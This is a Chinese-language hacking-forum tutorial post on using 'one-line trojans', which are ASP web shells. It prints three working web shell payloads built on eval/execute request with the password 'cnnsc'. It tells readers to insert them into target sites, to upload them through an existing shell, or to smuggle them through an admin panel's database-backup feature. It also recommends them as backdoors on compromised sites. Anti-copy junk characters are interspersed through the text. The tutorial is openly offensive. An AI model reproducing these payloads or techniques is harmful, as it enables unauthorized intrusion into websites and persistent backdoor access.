[原创教程] 一句话木马的使用方法视频 木马, 视频

oooooo

一句话木马的使用  
7 q- B. v3 ^0 {  W# P. F, y* F  D9 Z% u7 L4 h
by:柔肠寸断 790653916  www.3ast.com.cn  不免费收点徒弟~~~1 U) b% I( ?+ U
' V; g+ H$ h% i! H3 f
8 ~$ M* l& }. W/ A  ~2 i
1、咱们先弄懂怎么使用的。. |* ?5 \5 _4 y

" e  f3 \  _* N0 u' t4 K0 Z% e. K1 ^& x分为客户端和服务端9 o( s) C( a+ r3 R  h
9 q8 H8 @! @' }+ j; n
+ i7 M. L# \) y4 G" m4 ^4 a% C
客户端是连接上去的程序，也可以是网页
% i8 H8 j: V* L; @* |" p2 g
6 Q3 H( {1 B! R' ^# Whttp://www.3ast.com.cn/tool/yijuhua.html+ x0 j$ S1 a' T
+ q4 y0 s$ j' a; D8 T
服务端就是一段代码，代码里有对应的“密码”
  `& A3 D( b0 h: i0 s
& g( @; x/ l" Q1 }5 r! k* z提供三个服务端:
, Z) |) L0 u+ R& e1. <%eval request("cnnsc")%> * U- b8 Q8 q. n: H
2. <%execute request("cnnsc")%>
5 W8 W8 ]8 D$ z6 u# W3. <%execute(request("cnnsc"))%>   _2 q( f; m4 J( |0 |4 r7 w
. y, L/ r( z7 L- s" L+ O& U: h& Q
cnnsc--密码/ D- E7 J. _; R# q' c7 T! z/ L* z
5 L! K0 C7 @# b, s- T
我们只要把这个代码插入到对方网站的网页中就可以了
' o( B/ r9 `/ g4 n( ~# L3 r9 ~) @0 A8 Y
我演示下，用已经有的一个webshell添加一个asp文件，加上 <%eval request("cnnsc")%>
5 D1 t& z$ f) \: i5 U$ P, T6 v. y8 [1 j5 Z5 r4 v
换一个页面，添加过了。访问的时候一切正常，看链接
# l+ Q$ O% R+ S+ g" Q. Y2 ~' Q" Z9 d* ]
上传之后
3 d' y  Y8 H2 a% }0 Q" P8 B7 `2 r! @% @2 \; y& ]3 W1 c
链接上去了
+ y9 h3 R' l+ \1 GOK.这个就是链接的主要过程5 U: }7 y: O+ A3 G, P0 V
$ L) }2 s  i1 y/ q" |/ u
6 V2 ]: T$ {3 S4 T& _  I/ C1 j

% [8 w8 ]# X0 C4 u
. a) W$ p5 ]( k1 {5 `2、然后懂得哪里会用上、怎么用9 E+ z4 f& S  \! o
; j1 a) ?4 K- N; U1 o
(1)有的时候我们进入了XXX的后台，后台有备份数据库，那么我们就可以在系统中插入这个一句话代码，任意地方，比如皮肤名称啊，文章标题啊，只要是会被写进数据库的就可以了，然后备份数据库成一个asp文件（也有php的一句话），然后链接就可以拿下来了3 f# N% [$ B; z2 r! [  q" p

2 h- G6 t2 \: B& M0 }; g(2)可以给自己入侵的网站留下后门。。。。; J. n- l* G3 m' S! {
5 T2 r5 n4 r6 U9 e' |( l+ ^; @
(3)我再想想。。。哎，想不出，还是要自己多多实践。。。。
  a8 X0 @$ ]; Y; x* O7 ~7 l0 q0 L  Z3 C7 V- |
好了，教程到此结束，不懂的可以再来问我。。。790653916